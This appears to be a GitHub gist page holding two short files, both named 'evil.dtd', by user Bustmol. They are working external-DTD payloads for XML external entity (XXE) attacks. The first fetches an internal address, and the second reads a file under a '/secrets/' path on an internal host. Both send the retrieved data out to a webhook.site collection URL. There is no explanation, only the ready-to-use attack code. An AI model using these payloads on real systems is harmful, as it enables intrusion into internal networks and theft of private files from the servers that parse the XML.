Skip to content

Instantly share code, notes, and snippets.

View Bustmol's full-sized avatar

Bustmol

  • Joined Oct 5, 2025
View GitHub Profile
@Bustmol
Bustmol / gist:1d482466628d14bcf686fd50306403ee
Created October 5, 2025 01:49
evil.dtd
<!ENTITY xxe SYSTEM "http://172.19.254.4:8000/status">
<!ENTITY exfil SYSTEM "https://webhook.site/9f1d07ed-e912-4038-930c-4c4eff337480/collect?data=&xxe;">
@Bustmol
Bustmol / gist:ac95b0484780f334e1539ac4137c91e6
Created October 5, 2025 01:15
evil.dtd
<!ENTITY % file SYSTEM "http://172.19.254.4:8000/secrets/brand-guide.html">
<!ENTITY % all "<!ENTITY &#x25; exfil SYSTEM 'https://webhook.site/9f1d07ed-e912-4038-930c-4c4eff337480/collect?data=%file;'>">
%all;
%exfil;